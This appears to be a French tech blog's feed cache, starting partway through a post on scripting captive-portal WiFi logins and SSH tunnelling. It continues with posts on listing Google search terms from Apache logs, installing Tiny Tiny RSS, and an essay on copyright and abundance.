<form method="post" action="http://10.9.0.1:8000/">
Login <input name="auth_user" type="text">
Password <input name="auth_pass" type="password">
<input type="checkbox" name="regagree" value="valeur"
onClick="ChangeStatut(this.form)"> J'accepte le règlement
<input name="redirurl" type="hidden"
value="http://www.google.com/search?ie=UTF-8">
<input type="submit" name="accept" value="Continuer" disabled>
</form>Tout y est. La valeur de l’attribut action est l’URL de validation, et le nom
des champs utilisés est dans l’attribut name de chaque balise input.
Dans cet exemple, seuls auth_user et auth_pass semblent utiles, mais parfois
le serveur effectue des vérifications (étranges) supplémentaires. Ici, il
vérifie qu’il y a bien un attribut accept qui vaut Continuer (allez savoir
pourquoi).
À partir de ces champs, nous allons construire la chaîne des paramètres sous la forme :
champ1=valeur1&champ2=valeur2&champ3=valeur3
et l’envoyer au serveur en POST, par exemple grâce à la commande
POST (en majuscules, ça surprend un peu pour une commande shell) :
POST http://10.9.0.1:8000/ <<<
'auth_user=IDENTIFIANT&auth_pass=MOT_DE_PASSE&accept=Continuer'Si la page d’authentification est en HTTPS, il faudra installer le paquet
libcrypt-ssleay-perl, ou alors utiliser wget :
wget -qO- https://10.9.0.1:8000/
--post-data='auth_user=IDENTIFIANT&auth_pass=MOT_DE_PASSE&accept=Continuer'Voilà, nous avons reproduit en ligne de commande le comportement du navigateur pour l’authentification. Nous devons maintenant faire en sorte que cette commande soit exécutée dès la connexion au réseau WiFi.
NetworkManager (le gestionnaire de connexion par défaut d’Ubuntu) permet
d’exécuter des scripts lors de la connexion ou la déconnexion. Pour cela, il
suffit de placer le script dans /etc/NetworkManager/dispatcher.d/ et de le
rendre exécutable.
Le script est appelé avec deux paramètres :
$1 : l’interface réseau concernée par la connexion ou la déconnexion
(wlan0 par exemple) ;$2 ayant pour valeur soit up (pour la connexion), soit down (pour la
déconnexion).Nous voulons exécuter la commande POST uniquement lors de la connexion de
wlan0, et seulement pour le réseau concerné (par exemple celui ayant le nom
MonLieuDeVacances).
Il est possible de récupérer le nom du réseau (l’ESSID) auquel nous sommes
connectés grâce à iwconfig :
iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/'Il faut donc créer un script dans /etc/NetworkManager/dispatcher.d/10auth :
sudo vi /etc/NetworkManager/dispatcher.d/10auth
ayant cette structure :
#!/bin/bash
if [ "$1 $2" = 'wlan0 up' ]
then
essid=$(iwconfig wlan0 | grep -o 'ESSID:".*$' | sed
's/^ESSID:"\(.*\)".*$/\1/')
case "$essid" in
'MonLieuDeVacances')
POST http://10.9.0.1:8000/ <<< 'auth_user=IDENTIFIANT&auth_pass=MOT_DE_PASSE&accept=Continuer' ;;
'MaGare')
POST http://192.168.0.1 <<< 'accept_cgu=1' ;;
esac
fiEt le rendre exécutable :
sudo chmod +x /etc/NetworkManager/dispatcher.d/10auth
Les pages d’authentification varient d’un réseau à l’autre, il faut donc adapter les paramètres de connexion selon le service utilisé.
Voici le script à utiliser (en adaptant votre identifiant et votre mot de passe) pour le réseau FreeWifi (très connu) :
#!/bin/bash
if [ "$1 $2" = 'wlan0 up' ]
then
essid=$(iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/')
case "$essid" in
'FreeWifi')
wget -qO- https://wifi.free.fr/Auth --post-data='login=IDENTIFIANT&password=MOT_DE_PASSE' ;;
esac
fiCes réseaux ouverts, gérant éventuellement une authentification HTTP, ne sont pas chiffrés : n’importe qui écoutant ce qui transite dans les airs pourra récupérer tout le contenu de votre trafic. Si vous avez un ordinateur allumé chez vous (sur un réseau “sûr”) accessible en SSH, je vous conseille de faire passer toutes les connexions dans un tunnel chiffré.
Le principe est simple : dès que vous accédez à un serveur (par exemple en
tapant l’URL dans un navigateur web), l’ordinateur ne va pas s’y connecter
directement, il va transmettre les informations en passant par un tunnel chiffré
à votre serveur SSH, qui lui va s’y connecter, et vous renvoyer la page à
travers le tunnel. Techniquement, le tunnel est un proxy SOCKS écoutant sur
un port local (par exemple localhost:3128).
Pour démarrer le tunnel :
ssh monserveur -CND3128
Pour configurer le système afin qu’il utilise le tunnel SSH, Système →
Préférences → Serveur mandataire (gnome-network-properties), puis configurer
comme sur la capture d’écran :

Dans l’onglet Hôtes à ignorer, rajouter l’adresse de la page d’authentification.
Ainsi, toutes les connexions des logiciels utilisant les paramètres proxy du système passeront par le tunnel. Il est également possible de configurer ceci dans chaque logiciel individuellement (s’ils le proposent).
Pour Firefox, il est également recommandé dans about:config de
passer la variable network.proxy.socks_remote_dns à true, afin que les DNS
soient résolus également de l’autre côté du tunnel (sur le réseau “sûr”).
Vous trouverez plus d’infos sur mon billet concernant SSH.
La connexion à des points d’accès WiFi publics demandant à chaque fois une authentification ou une acceptation des conditions d’utilisation devient rapidement insupportable. Il est donc appréciable de l’automatiser.
De plus, ces réseaux ne sont pas “sûrs”, n’importe qui peut écouter le trafic. Il est donc nécessaire de le chiffrer en passant par un réseau de confiance, par exemple avec un tunnel SSH.
";s:7:"dateiso";s:15:"20110731_114334";}s:15:"20110624_151036";a:7:{s:5:"title";s:46:"Extraire les recherches Google des logs Apache";s:4:"link";s:77:"http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2685";s:7:"pubDate";s:31:"Fri, 24 Jun 2011 13:10:36 +0000";s:11:"description";s:515:"Aujourd’hui, c’est un billet de distraction pour geeks. Lister les recherches Si vous utilisez Apache, voici une commande qui liste dans l’ordre alphabétique les recherches Google ayant permis aux internautes d’arriver sur vos sites : php -r "echo urldecode(\"`zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&]q=[^&"]*'|cut -c4-`\");"|sort|uniq -c EDIT 25/06/2011 : cette commande semble échouer lorsque la liste des recherches [...]";s:7:"content";s:5373:"Aujourd’hui, c’est un billet de distraction pour geeks.
Si vous utilisez Apache, voici une commande qui liste dans l’ordre alphabétique les recherches Google ayant permis aux internautes d’arriver sur vos sites :
php -r "echo urldecode(\"`zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&]q=[^&"]*'|cut -c4-`\");"|sort|uniq -c
EDIT 25/06/2011 : cette commande semble échouer lorsque la liste des recherches est trop longue, celle donnée à la fin du billet est donc à préférer.
(pour les autres moteurs de recherche, il faudrait s’inspirer de ce qu’ont fait les développeurs de Piwik)
Voici à quoi ressemble le résultat de la commande :
1 ubtunu tiny tiny rss
5 ubuntu
1 ubuntu 10.04 change startup screen
1 ubuntu 10.04 configurer compte messagerie hotmail dans couriel
3 ubuntu 10.04 cryptage
1 ubuntu 10.04 écran grub invisible au démarrage
2 ubuntu 10.04 ecran noir nvidia
1 ubuntu 10.04 et video nvidia
1 ubuntu 10.04 grub nvidia
1 ubuntu 10.04 grub-pc couleur
4 ubuntu 10.04 installation partition home chiffrée
Le texte correspond aux recherches, le numéro devant indique le nombre de fois où elles ont été effectuées.
Sans conteste, les deux billets qui amènent le plus d’internautes par Google concernent pluzz et apk. Et parfois ça ne doit pas les aider beaucoup : certains recherchent par exemple « pluzz plus belle la vie » dans Google à partir d’Internet Explorer, je ne suis pas sûr que mon script shell pour pluzz réponde à leurs attentes.
Dans la liste, il y a forcément des recherches drôles ou étranges. En voici quelques unes que j’ai trouvées dans mes logs :
Il y a certains sites qui s’amusent à référencer ce genre de recherches, par exemple Comment devenir un ninja gratuitement ?
N’hésitez pas à poster les vôtres…
J’ai essayé d’écrire la commande la plus courte possible. Je n’ai pas réussi à faire moins de 129 caractères sans perdre d’information ou prendre plus de risque (par exemple on pourrait remplacer apache2 par a*2, mais c’est plus risqué).
Par contre, cette commande ne fonctionne pas correctement si l’on rajoute |less (on ne peut pas se déplacer avec haut et bas), je ne sais pas trop pourquoi ni comment le résoudre (si certains ont une idée).
Une autre commande, sans php (en 141 caractères), ne pose pas ce problème :
zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&]q=[^&"]*'|cut -c4-|echo -e $(sed 's/$/\\n/;s/+/ /g;s/%/\\x/g')|sort|uniq -c
Si vous avez des astuces pour faire mieux que 129 (ou 141), ne vous gênez pas
D’autres ont fait des scripts plus complets, qui permettent de récupérer des informations supplémentaires, par exemple la page sur laquelle l’internaute est arrivé en effectuant cette recherche…
";s:7:"dateiso";s:15:"20110624_151036";}s:15:"20110624_131036";a:7:{s:5:"title";s:46:"Extraire les recherches Google des logs Apache";s:4:"link";s:76:"http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache";s:4:"guid";s:76:"http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache";s:7:"pubDate";s:25:"2011-06-24T13:10:36+02:00";s:11:"description";s:0:"";s:7:"content";s:5668:"Aujourd’hui, c’est un billet de distraction pour geeks.
Si vous utilisez Apache, voici une commande qui liste dans l’ordre alphabétique les recherches Google ayant permis aux internautes d’arriver sur vos sites :
php -r "echo urldecode(\"$(zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&]q=[^&"]*'|cut -c4-)\");"|sort|uniq -cEDIT 25/06/2011 : cette commande semble échouer lorsque la liste des recherches est trop longue, celle donnée à la fin du billet est donc à préférer.
(pour les autres moteurs de recherche, il faudrait s’inspirer de ce qu’ont fait les développeurs de Piwik)
Voici à quoi ressemble le résultat de la commande :
1 ubtunu tiny tiny rss
5 ubuntu
1 ubuntu 10.04 change startup screen
1 ubuntu 10.04 configurer compte messagerie hotmail dans couriel
3 ubuntu 10.04 cryptage
1 ubuntu 10.04 écran grub invisible au démarrage
2 ubuntu 10.04 ecran noir nvidia
1 ubuntu 10.04 et video nvidia
1 ubuntu 10.04 grub nvidia
1 ubuntu 10.04 grub-pc couleur
4 ubuntu 10.04 installation partition home chiffrée
Le texte correspond aux recherches, le numéro devant indique le nombre de fois où elles ont été effectuées.
Sans conteste, les deux billets qui amènent le plus d’internautes par Google concernent pluzz et apk.
Et parfois ça ne doit pas les aider beaucoup : certains recherchent par exemple “pluzz plus belle la vie” dans Google à partir d’Internet Explorer, je ne suis pas sûr que mon script shell pour pluzz réponde à leurs attentes.
Dans la liste, il y a forcément des recherches drôles ou étranges. En voici quelques unes que j’ai trouvées dans mes logs :
Il y a certains sites qui s’amusent à référencer ce genre de recherches, par exemple Comment devenir un ninja gratuitement ?
N’hésitez pas à poster les vôtres…
J’ai essayé d’écrire la commande la plus courte possible. Je n’ai pas réussi à
faire moins de 129 caractères sans perdre d’information ou prendre plus de
risque (par exemple on pourrait remplacer apache2 par a*2, mais c’est plus
risqué).
Par contre, cette commande ne fonctionne pas correctement si l’on rajoute
|less (on ne peut pas se déplacer avec haut et bas), je ne sais pas trop
pourquoi ni comment le résoudre (si certains ont une idée).
Une autre commande, sans php (en 141 caractères), ne pose pas ce problème :
zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&]q=[^&"]*'|cut -c4-|echo -e $(sed 's/$/\\n/;s/+/ /g;s/%/\\x/g')|sort|uniq -cSi vous avez des astuces pour faire mieux que 129 (ou 141), ne vous gênez pas ;-)
D’autres ont fait des scripts plus complets, qui permettent de récupérer des informations supplémentaires, par exemple la page sur laquelle l’internaute est arrivé en effectuant cette recherche…
";s:7:"dateiso";s:15:"20110624_131036";}s:15:"20110614_141141";a:7:{s:5:"title";s:46:"Tiny Tiny RSS : auto-hébergement des flux RSS";s:4:"link";s:74:"http://blog.rom1v.com/2011/06/tiny-tiny-rss-auto-hebergement-des-flux-rss/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2592";s:7:"pubDate";s:31:"Tue, 14 Jun 2011 12:11:41 +0000";s:11:"description";s:364:"Je vais expliquer dans ce billet pourquoi et comment installer Tiny Tiny RSS, un gestionnaire de flux RSS sur son serveur. Motivations Pourquoi un serveur ? Il existe de nombreux clients d’agrégateurs de flux, tels que Liferea sous Gnome ou NewsFox dans Firefox. Cependant, un tel client pose principalement deux problèmes. Le premier, c’est le [...]";s:7:"content";s:14455:"
Je vais expliquer dans ce billet pourquoi et comment installer Tiny Tiny RSS, un gestionnaire de flux RSS sur son serveur.
Il existe de nombreux clients d’agrégateurs de flux, tels que Liferea sous Gnome ou NewsFox dans Firefox.
Cependant, un tel client pose principalement deux problèmes.
Un gestionnaire de flux doit donc, d’après moi, forcément être hébergé sur un serveur.
De nombreux services en ligne proposent la gestion de flux RSS (Google Reader, NetVibes, etc.).
Pourquoi donc héberger un tel service sur son propre serveur ?
Je vais expliquer l’installation de Tiny Tiny RSS pour ma configuration, à savoir Ubuntu Server 11.04, avec Apache et MySQL.
Je vais l’installer dans ~/flux (le répertoire flux de mon home), avec un lien symbolique /var/www/flux. L’application sera accessible à partir de flux.rom1v.com. Adaptez ces valeurs selon vos besoins.
Tiny Tiny RSS a besoin de php5-curl :
sudo apt-get install php5-curl
Télécharger la dernière version en bas de la page officielle (actuellement la 1.5.4).
Extraire l’archive dans ~/ :
tar xzf tt-rss-1.5.4.tar.gz
Et renommer le répertoire :
mv tt-rss-1.5.4 flux
Il faut ensuite initialiser la base de données, grâce aux scripts fournis. Pour cela, aller dans le répertoire des scripts :
cd flux/schema
Puis se connecter à MySQL :
$ mysql -uroot -p Enter password:
Une fois connecté, créer la base de données flux :
mysql> CREATE DATABASE flux; Query OK, 1 row affected (0,00 sec)
Puis créer un utilisateur flux avec les droits sur cette base (on pourra générer son mot de passe grâce à pwgen) :
mysql> GRANT ALL PRIVILEGES ON flux.* TO flux@localhost IDENTIFIED BY 'unmotdepasse'; Query OK, 0 rows affected (0.04 sec)
Initialiser la base de données :
mysql> USE flux Database changed mysql> \. ttrss_schema_mysql.sql
La base de données est prête.
Retourner dans le répertoire ~/flux :
cd ..
Copier le modèle du fichier de configuration :
cp config.php-dist config.php
Puis l’éditer, par exemple :
nano config.php
Modifier les informations de connexion à la base de données :
define('DB_TYPE', "mysql");
define('DB_HOST', "localhost");
define('DB_USER', "flux");
define('DB_NAME', "flux");
define('DB_PASS', "unmotdepasse");
Modifier l’URL d’accès à l’application, pour moi :
define('SELF_URL_PATH', 'http://flux.rom1v.com');
Désactiver le mode utilisateur unique (sans quoi l’accès à l’application sera public sans authentification) :
define('SINGLE_USER_MODE', false);
Si Tiny Tiny RSS est installé à la racine du site (c’est mon cas : flux.rom1v.com/), il faut modifier le répertoire d’icônes, car /icons est réservé par Apache :
define('ICONS_DIR', "tt-icons");
define('ICONS_URL', "tt-icons");
Je conseille de désactiver la vérification des nouvelles versions, car lorsque le site de Tiny Tiny RSS ne répond plus, l’application rencontre des difficultés :
define('CHECK_FOR_NEW_VERSION', false);
Pour les performances, activer la compression :
define('ENABLE_GZIP_OUTPUT', true);
Enfin, une fois que la configuration est terminée, modifier la ligne :
define('ISCONFIGURED', true);
Les modifications du fichier de configuration sont terminés.
Maintenant, renommer le répetoire icons (comme dans le fichier de configuration) :
mv icons tt-icons
Il faut maintenant héberger l’application sur Apache.
Tout d’abord, donner les droits à www-data sur les répertoires où il a besoin d’écrire :
sudo chown -R www-data: cache tt-icons lock
Puis faire un lien symbolique vers le répertoire /var/www/ :
sudo ln -s ~/flux /var/www/
Créer (au besoin) un nouveau VirtualHost pour le site, dans le répertoire /etc/apache2/sites-available (pour moi dans un fichier nommé flux.rom1v.com) :
<VirtualHost *:80> DocumentRoot /var/www/flux ServerName flux.rom1v.com <Directory /var/www/flux/> Options FollowSymLinks MultiViews AllowOverride All Order allow,deny allow from all </Directory> ErrorLog /var/log/apache2/flux_error.log CustomLog /var/log/apache2/flux_access.log combined </VirtualHost>
Activer le site :
sudo a2ensite flux.rom1v.com
Redémarrer Apache (un simple reload aurait suffit si nous n’avions pas installé php5-curl tout à l’heure) :
sudo service apache2 restart
L’application doit maintenant fonctionner. S’y connecter, avec l’utilisateur admin et le mot de passe password (l’utilisateur par défaut), puis aller dans la configuration et changer le mot de passe.
Tiny Tiny RSS permet l’importation et l’exportation d’un fichier OPML. Il est ainsi possible de migrer facilement d’un gestionnaire de flux à un autre.
Il est possible d’associer son instance de Tiny Tiny RSS à Firefox : toujours dans la configuration, dans l’onglet Flux, Intégration à Firefox, cliquer sur le bouton.
Pour tester, se rendre sur un site, et afficher la liste des flux disponibles. Pour cela, cliquer sur le petit icône à gauche de l’adresse, puis sur Plus d’informations…, sur l’onglet Flux (s’il y en a un), et enfin sur le flux désiré. Par exemple, pour ce blog :

En cliquant sur S’abonner maintenant, Firefox devrait proposer d’utiliser Tiny Tiny RSS.
Il reste encore une étape importante : le serveur doit régulièrement mettre à jour le contenu de chacun des flux auxquels nous sommes abonnés.
Plusieurs méthodes sont décrites sur cette page. Certaines chargent les flux séquentiellement (par cron notamment), ce qui peut poser problème : supposons que nous soyons abonnés à 300 flux, avec une mise à jour toutes les 30 minutes, ça donne une moyenne de 6 secondes par flux. Si certains sites sont long à répondre, la mise à jour risque de dépasser le temps imparti, et cron va lancer une nouvelle tâche avant que la précédente soit terminée (heureusement Tiny Tiny RSS pose un verrou, donc il ne fera rien la seconde fois, mais du coup nous perdons une mise à jour). Ceci est d’autant plus dommage que l’essentiel de la durée nécessaire est le temps de connexion à chacun des sites : mieux vaut donc paralléliser le chargement.
C’est la raison pour laquelle je préfère la dernière méthode : lancer un démon multi-processus au démarrage du serveur. Par contre, étant donné le fonctionnement du démon proposé, il ne semble pas possible d’en faire un script init.d propre. Le plus simple est donc de rajouter dans /etc/rc.local :
start-stop-daemon -c www-data -Sbx /var/www/flux/update_daemon2.php
Vous pouvez exécuter cette commande maintenant pour charger les flux la première fois.
Ce démon utilise plusieurs processus (par défaut 2), qui mettent à jour les flux par blocs (par défaut, de 100). Pour changer ces variables (par exemple pour avoir 5 processus qui chargent des blocs de 50), dans config.php :
define('DAEMON_FEED_LIMIT', 50);
et dans update_daemon2.php :
define('MAX_JOBS', 5);
Une interface mobile en HTML est intégrée. Pour y accéder, il suffit d’ajouter à l’URL /mobile.
Pour Android, il existe également une application : ttrss-reader-fork (à tester, mais je la trouve assez buggée). Pour lui permettre l’accès, il est nécessaire de sélectionner « Activer les API externes » dans la page de configuration de Tiny Tiny RSS.
Vous n’avez plus de raison de laisser traîner vos flux RSS n’importe où
Je vais expliquer dans ce billet pourquoi et comment installer Tiny Tiny RSS, un gestionnaire de flux RSS) sur son serveur.
Il existe de nombreux clients d’agrégateurs de flux, tels que Liferea sous Gnome ou NewsFox dans Firefox.
Cependant, un tel client pose principalement deux problèmes.
Un gestionnaire de flux doit donc, d’après moi, forcément être hébergé sur un serveur.
De nombreux services en ligne proposent la gestion de flux RSS (Google Reader, NetVibes, etc.).
Pourquoi donc héberger un tel service sur son propre serveur ?
Je vais expliquer l’installation de Tiny Tiny RSS pour ma configuration, à
savoir Ubuntu Server 11.04, avec Apache et MySQL. Je vais l’installer
dans ~/flux (le répertoire flux de mon home), avec un lien symbolique
/var/www/flux. L’application sera accessible à partir de flux.rom1v.com.
Adaptez ces valeurs selon vos besoins.
Tiny Tiny RSS a besoin de php5-curl :
sudo apt-get install php5-curl
Télécharger la dernière version en bas de la page officielle (actuellement la 1.5.4).
Extraire l’archive dans ~/ :
tar xzf tt-rss-1.5.4.tar.gz
Et renommer le répertoire :
mv tt-rss-1.5.4 flux
Il faut ensuite initialiser la base de données, grâce aux scripts fournis. Pour cela, aller dans le répertoire des scripts :
cd flux/schema
Puis se connecter à MySQL :
$ mysql -uroot -p
Enter password:
Une fois connecté, créer la base de données flux :
mysql> CREATE DATABASE flux;
Query OK, 1 row affected (0,00 sec)
Puis créer un utilisateur flux avec les droits sur cette base (on pourra
générer son mot de passe grâce à pwgen) :
mysql> GRANT ALL PRIVILEGES ON flux.* TO flux@localhost IDENTIFIED BY 'unmotdepasse';
Query OK, 0 rows affected (0.04 sec)
Initialiser la base de données :
mysql> USE flux
Database changed
mysql> \. ttrss_schema_mysql.sql
La base de données est prête.
Retourner dans le répertoire ~/flux :
cd ..
Copier le modèle du fichier de configuration :
cp config.php-dist config.php
Puis l’éditer, par exemple :
vim config.php
Modifier les informations de connexion à la base de données :
define('DB_TYPE', "mysql");
define('DB_HOST', "localhost");
define('DB_USER', "flux");
define('DB_NAME', "flux");
define('DB_PASS', "unmotdepasse");
Modifier l’URL d’accès à l’application, pour moi :
define('SELF_URL_PATH', 'http://flux.rom1v.com');
Désactiver le mode utilisateur unique (sans quoi l’accès à l’application sera public sans authentification) :
define('SINGLE_USER_MODE', false);
Si Tiny Tiny RSS est installé à la racine du site (c’est mon cas :
flux.rom1v.com/), il faut modifier le répertoire d’icônes, car /icons est
réservé par Apache :
define('ICONS_DIR', "tt-icons");
define('ICONS_URL', "tt-icons");
Je conseille de désactiver la vérification des nouvelles versions, car lorsque le site de Tiny Tiny RSS ne répond plus, l’application rencontre des difficultés :
define('CHECK_FOR_NEW_VERSION', false);
Pour les performances, activer la compression :
define('ENABLE_GZIP_OUTPUT', true);
Enfin, une fois que la configuration est terminée, modifier la ligne :
define('ISCONFIGURED', true);
Les modifications du fichier de configuration sont terminées.
Maintenant, renommer le répetoire icons (comme dans le fichier de
configuration) :
mv icons tt-icons
Il faut maintenant héberger l’application sur Apache.
Tout d’abord, donner les droits à www-data sur les répertoires où il a besoin
d’écrire :
sudo chown -R www-data: cache tt-icons lock
Puis faire un lien symbolique vers le répertoire /var/www/ :
sudo ln -s ~/flux /var/www/
Créer (au besoin) un nouveau VirtualHost pour le site, dans le répertoire
/etc/apache2/sites-available (pour moi dans un fichier nommé
flux.rom1v.com) :
<VirtualHost *:80>
DocumentRoot /var/www/flux
ServerName flux.rom1v.com
<Directory /var/www/flux/>
Options FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
ErrorLog /var/log/apache2/flux_error.log
CustomLog /var/log/apache2/flux_access.log combined
</VirtualHost>Activer le site :
sudo a2ensite flux.rom1v.com
Redémarrer Apache (un simple reload aurait suffit si nous n’avions pas
installé php5-curl tout à l’heure) :
sudo service apache2 restart
L’application doit maintenant fonctionner. S’y connecter, avec l’utilisateur
admin et le mot de passe password (l’utilisateur par défaut), puis aller
dans la configuration et changer le mot de passe.
Tiny Tiny RSS permet l’importation et l’exportation d’un fichier OPML. Il est ainsi possible de migrer facilement d’un gestionnaire de flux à un autre.
Il est possible d’associer son instance de Tiny Tiny RSS à Firefox : toujours dans la configuration, dans l’onglet Flux, Intégration à Firefox, cliquer sur le bouton.
Pour tester, se rendre sur un site, et afficher la liste des flux disponibles. Pour cela, cliquer sur le petit icône à gauche de l’adresse, puis sur Plus d’informations…, sur l’onglet Flux (s’il y en a un), et enfin sur le flux désiré. Par exemple, pour ce blog :

En cliquant sur S’abonner maintenant, Firefox devrait proposer d’utiliser Tiny Tiny RSS.
Il reste encore une étape importante : le serveur doit régulièrement mettre à jour le contenu de chacun des flux auxquels nous sommes abonnés.
Plusieurs méthodes sont décrites sur cette page. Certaines chargent les flux séquentiellement (par cron notamment), ce qui peut poser problème : supposons que nous soyons abonnés à 300 flux, avec une mise à jour toutes les 30 minutes, ça donne une moyenne de 6 secondes par flux. Si certains sites sont long à répondre, la mise à jour risque de dépasser le temps imparti, et cron va lancer une nouvelle tâche avant que la précédente soit terminée (heureusement Tiny Tiny RSS pose un verrou, donc il ne fera rien la seconde fois, mais du coup nous perdons une mise à jour). Ceci est d’autant plus dommage que l’essentiel de la durée nécessaire est le temps de connexion à chacun des sites : mieux vaut donc paralléliser le chargement.
C’est la raison pour laquelle je préfère la dernière méthode : lancer un
démon multi-processus au démarrage du serveur. Par contre, étant donné le
fonctionnement du démon proposé, il ne semble pas possible d’en faire un
script init.d propre. Le plus simple est donc de rajouter dans
/etc/rc.local :
start-stop-daemon -c www-data -Sbx /var/www/flux/update_daemon2.php
Vous pouvez exécuter cette commande maintenant pour charger les flux la première fois.
Ce démon utilise plusieurs processus (par défaut 2), qui mettent à jour les
flux par blocs (par défaut, de 100). Pour changer ces variables (par exemple
pour avoir 5 processus qui chargent des blocs de 50), dans config.php :
define('DAEMON_FEED_LIMIT', 50);
et dans update_daemon2.php :
define('MAX_JOBS', 5);
Une interface mobile en HTML est intégrée. Pour y accéder, il suffit d’ajouter à
l’URL /mobile.
Pour Android, il existe également une application : ttrss-reader-fork (à tester, mais je la trouve assez buggée). Pour lui permettre l’accès, il est nécessaire de sélectionner “Activer les API externes” dans la page de configuration de Tiny Tiny RSS.
Vous n’avez plus de raison de laisser traîner vos flux RSS n’importe où ;-)
";s:7:"dateiso";s:15:"20110614_121141";}s:15:"20110608_104237";a:7:{s:5:"title";s:34:"L’abondance contre l’économie";s:4:"link";s:58:"http://blog.rom1v.com/2011/06/labondance-contre-leconomie/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2417";s:7:"pubDate";s:31:"Wed, 08 Jun 2011 08:42:37 +0000";s:11:"description";s:389:"Le droit d’auteur sur Internet Les lois répressives pour défendre le droit d’auteur sont justifiées par une règle que certains jugent incontestable : un auteur a le droit de décider la manière dont son œuvre sera diffusée. S’il ne souhaite pas rendre son œuvre disponible autrement que par les canaux de diffusion qu’il aura choisis, c’est [...]";s:7:"content";s:18586:"Les lois répressives pour défendre le droit d’auteur sont justifiées par une règle que certains jugent incontestable : un auteur a le droit de décider la manière dont son œuvre sera diffusée. S’il ne souhaite pas rendre son œuvre disponible autrement que par les canaux de diffusion qu’il aura choisis, c’est son choix.
Pourtant, un auteur ne peut pas avoir tous les droits, certains droits sont nécessaires pour le public. Par exemple, ce n’est pas parce que c’est son œuvre (laissons ici de côté la part dont il redevable aux créateurs précédents) qu’il peut interdire à la population d’y penser, d’en parler, de la critiquer, etc. Pour quelle raison devrait-il pouvoir interdire son utilisation non-commerciale ?
La réponse qui vient à l’esprit est évidente, c’est le raisonnement de ceux qui sont favorables à l’interdiction du partage : un artiste, comme toute autre personne, a le droit de vivre de son travail. Si tout le monde peut accéder aux œuvres de manière illimitée et gratuite, alors, disent-ils, l’artiste ne pourra plus vendre son travail.
Ceux qui sont favorables à la légalisation du partage de fichiers leur répondront que ceux qui téléchargent le plus sont ceux qui achètent le plus, que de nouveaux modèles économiques sont nécessaires, qu’une meilleure diffusion augmente la notoriété de l’artiste, qui pourra ainsi attirer plus de monde à ses concerts, etc. Mais surtout, bien avant les arguments économiques, ils défendent ce qu’ils jugent meilleur pour la société.
En effet, pour la société, la culture a tout à gagner à être abondante et accessible à tous. Le problème est que sa « valeur marchande » diminue lorsque son abondance augmente. La dématérialisation permet la surabondance : tout le monde peut partager et copier indéfiniment et gratuitement. Nous ne pouvons pas rêver mieux si nous défendons l’abondance.
Par contre, si nous nous concentrons sur la valeur marchande, nous en concluons que l’abondance ruine la culture, car alors il n’est pas possible de la faire payer. Ainsi nous nous lançons dans une guerre contre le partage pour restaurer une rareté propice à satisfaire une demande solvable, au nom des intérêts supposés des auteurs (et surtout des ayant-droits).
Il semble donc y avoir une opposition directe entre l’intérêt des auteurs et celui de la société. Si nous devions choisir entre les deux, nous pourrions nous inspirer de la pensée de Victor Hugo :
Le livre, comme livre, appartient à l’auteur, mais comme pensée, il appartient – le mot n’est pas trop vaste – au genre humain. Toutes les intelligences y ont droit. Si l’un des deux droits, le droit de l’écrivain et le droit de l’esprit humain, devait être sacrifié, ce serait, certes, le droit de l’écrivain, car l’intérêt public est notre préoccupation unique, et tous, je le déclare, doivent passer avant nous.
Mais ces intérêts sont-ils réellement en conflit ? Et pourquoi ?

La diffusion sans restriction de la culture et de la connaissance est sans conteste bénéfique pour la société.
Mais est-elle bénéfique pour les auteurs ? Sans aucun doute : rendre accessible à davantage de personnes leurs œuvres sans aucun coût ni travail supplémentaire leur est profitable. La seule condition pour eux est d’obtenir les moyens de leur subsistance (ce que de toute façon, pour la plupart, les droits d’auteur ne leur permettent pas dans le système actuel).
Nous sommes donc dans une situation très étonnante : le partage et la diffusion illimitée sont dans l’intérêt à la fois des auteurs et du public, mais les échanges sont volontairement restreints (par la loi) à cause d’un problème économique. C’est donc l’économie qui empêche des échanges, que rien ne limiterait par ailleurs. N’y voyez-vous pas un paradoxe ?

L’économie a pour objectif de résoudre les problèmes de rareté auxquels la société doit faire face. Pour cela, elle valorise ce qui est rare – c’est-à-dire un produit ou un service dont la demande est supérieure à l’offre – pour inciter les entreprises à mettre en œuvre des moyens de production répondant à ce besoin. A priori, c’est un mécanisme pertinent : les besoins de la population sont ainsi satisfaits au mieux, en privilégiant la production de ce qui est insuffisant.
Mais que se passe-t-il lorsque les problèmes de rareté sont résolus dans un domaine ? Tant mieux, pensons-nous, le but de l’économie est atteint, nous avons réussi. Nous pouvons alors augmenter la liberté de la population en réduisant leur dépendance vis-à-vis d’intermédiaires devenus inutiles, en rendant les moyens de production et de reproduction accessibles à tous. Mais paradoxalement, comme l’objectif est atteint, nous ne pouvons plus gagner d’argent. C’est simple : une demande limitée, une offre illimitée et un coût marginal nul impliquent un prix nul.
Comment faire fonctionner l’économie dans ce cas ? La demande est limitée, nous pouvons tenter de l’augmenter (éventuellement grâce à l’obsolescence programmée). Mais surtout nous devons empêcher que l’offre soit illimitée, en enlevant (par la loi ou par la technique) les moyens de (re)production des mains de la population, pour rendre le coût marginal non nul (obliger à faire payer chaque instance du produit en passant par un intermédiaire forcé). Il faut alors restreindre pour faire du bénéfice (cette règle est aussi valable pour le réseau Internet lui-même).
Pour gagner de l’argent, il nous faut donc lutter contre notre objectif : l’abondance. Et vu qu’il faut gagner de l’argent pour vivre, il est vital d’aller à l’encontre de ce qui est bénéfique pour la société. N’est-ce pas absurde ?
